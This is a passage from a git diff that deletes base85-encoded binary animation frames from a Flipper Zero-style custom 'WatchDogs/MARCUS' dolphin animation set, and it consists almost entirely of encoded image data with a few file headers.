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

    |2ZO=@IKk;; zq<5|Tmlpwm2M2>tG_6vpNiBKTXH}qtRckc~C;~@Q$$IL3+YSJrY*=)%B2qOS5^trZ|( z1%X2W@PLKFF!jE@&Po7c!y}=P;?coL(Awf(D-$B*0)vBu*oD;6YF(}Oj|v3wYPD4< zWX*;qd-Lw?HWESNWhEhy#6eL>^;WIhFO-1rkVC^E)T5*0)a=^!I|UN($HnEcgo{Sy v^;NBXZ-_v&v9dsjhy{>Ry1TXZTR5Q_HEt$zX1VyBXsbHb&Dl2 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_21.bm deleted file mode 100644 index 02782bb77afd1e501c79ba11e738cad5d1104db0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~19$)b|NsAYt0LKDzx@CISKU?j`~SACwyrqiEdKxhoofHRU)%rv+grpF zf4TermfouW_Wx~f|F+o3wjsLqoO4Yvpx_$fGdMmhovHo9}QB~{P|L?DV*A|$}Wp}SzqH4YWZh!mM z{{>*;iT)6_MAi4|`|ZE~s%rRn<3FtaP_^2>zW@GhRlxQ9EyeZBVqb z*24)ZDER;Pg38{l*Mou6tK@?Y9sU3R9IR@4{Y4A2-qnK+3i^NlREXX0tBujpTc8u4 zoc#OW9IAW0))#JdE8t2mTD<@J>Im2O?+(Ai*X!ekEX&`23|W2OtrfKZtbfo9Jn;(`&yZGMTtv0EW zUA4bgN)$w$F2Ap;>e%UE_pa(Li9~@kcZBtdJ zh5(o({{Nlc^w!Fp))W&HlOQ=&w(T@sr>55lt>xyX(NHmrSYe|L?W`*JlbsV8zSL$Nm5Rt5vJ0fXI{}<*TNnrTPE=fB#Zz v4;vYU@Qav`K>Yvz4gXcONpU1Nz08WfIWf)OKzOp(WClGco%@gC)zL4s6dE zlObdY8Gn|H%n~*R^l~0EmP>&4;_!p}V|31Ivm?D@MC0VVo+0!Ou6^I%-o4+R{GRuD zf6wzi)SO}gIV+wD0J;S5T}KKLIRD@$3>*gF6fGPvVxd$NM25_vBU*%_1zCTO71$!o zm5f+~+;z+XTqArY!f2`jMPDsaYlxE0N`RRNErwLnxlQI;ENAJtf;5Jicr0SA1T-rJ zz^4zH&`RW+rIZMZf*tb4wC@Q%nataHjQM#tW(1;lR7x45k?qy1^XfSjfOTsrT||7K zI%e%7d|pmlV5)e2GLM##g;Ijno@9XaHG-%WK|JhRDuT);${%Cn8=_ZVe*bnj84H}6 zai8%LKZg%?&D{)X{>oLHtt`c$e&V@nTWR0#INQS26aPQ7UHtrEvf#Vm%C9`w0`mLqD^-N(OYFUKGV|TR8RZoexGf0U5t%*0ryn?(ZHP zc)ANC2o54f_4+#hK5_2y%@U|Z4=YP!{|43)=nHL$vAA&zs?+B`IyvQ;vQ@A=tn}$? z4}Go=3ol&Vz`2}dGDh7@!m)nijinZdET%sJwx-Klo+uo+Z*72HC`d-+R-&v|6kP46 zl7gB5o!(nUc{X`}Y0vX0Qqqv}R8vk&zk+IO$BE4Q)n&gyu-XQ?VD|JCT921g@;p6D@>bP+MrHQR zQVIwcV;1f%CKv4MReP$gJqrcx|L5m*E9-Gk2Qghq_ytpL6Pe*lu2*sBMbbA>>_I5& z-djF|l>r2XUYkom%72+Uv>?=$7>LBp-Xve=s`v;^|Jr8(8gG|Wo}-S9WCASd15X!v zb^rJ!>OHJEivZ}|pkzI1-92=~?wTT4s4;tUf4Zr%W`2E?d^8IB9!C=1#>W05pB>)< z6pn9k=ntQx>1FZWXsHj1D+!a~>Zn^o?W_l32v6HwI6mrF)t0;xc@Hf&OKHE`^-GiW zF-!U*u-u{+e{@oD$htwt5#eJR<&#zvKliwd2@7toimN$zwLt8j6Pd p9W#UJ&MPG)H#`wa%22g?qsneLOYZNKGqTnCB{g>fXPZd>{{tDquQC7t diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_23.bm deleted file mode 100644 index f91ebaa1cabfc0190c22de70d91df52e5cf60a27..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfN~T{vR=ulxW1*Z)tzg*N~Hzv|Fa=>GrT`v1Q&rAz<+CD^ei-K)L*zrXF+ z;-%l+b)~}EQvd&d|LuP_DFU_sHA4tJ)7tLq_y65L@J$2v|AGd9@ArNG-d^+jFXJoz z@1-qFTfg_+`|GaOUd{i%xd4|GO$K+t%W@>K$w9 z|M=}!w_ga9vZ~*2upp;&RagK0|G%p;T#^4jeuo`?wEwFAz5D-vehDzvtP5Yi>Au@; z@88>2s{}aqTC{2!UG?|-|Ns8~Dd{WSlqj}swBK&Od;8zrmJ(BNPvm`H>H7Qa?(cVZ zD*_*ZO-bwZluNJQyS?681wy}tf1tkKsrLP~R;&BBDyaXD)v9WB_pP@7%~r3f1hD?6 zK10*3zkBPhi>>t^AejFycVx8w_ea0~KA_&ZKoEo9-O*v&ezW!ae@gYQlt@Sa_ww`e z+yBcHqqmb57yfLD}dcjMx41PLJmKTv!yV5oZkw}0S%2Sq;yl`!yd zG1Thq{jG`u3WYBwKa_fQB&xr^|F2RBfHV>pwdwS!>(y%YZ(o)YfXc_lFM(RIqTv7E z`&U&6P^IK0eROzwG*Vx+zF#UO6b_FI>v-zu`PBRW@4u>20neAuzoPhgsbp_e`|DN( z6kSDv6(DhtSgO76{=X<$00IStKS5wof@F8yyKjXO0g^;QEn)F67}Tz|@7q$LBm)+Q zw^a7EN=1A7{=X_h0JKX|J;rJ2bk=XJ|JO;T{gdC5{H{-eeJg<9y{nuX*QJzahy$IkVsZ4Lxx38)o04V~2FM`EIlF)kn z{_&SUiNtVlJA{LSgMi*FdAfY9JzKcVR>Q>nW8f3zz^s$yzYbsUXeO;h*wzUEZ` zU|CHlAA+eDExX#hzp6GA;_>isKaNI^&uQtbZ;weq_3An_ 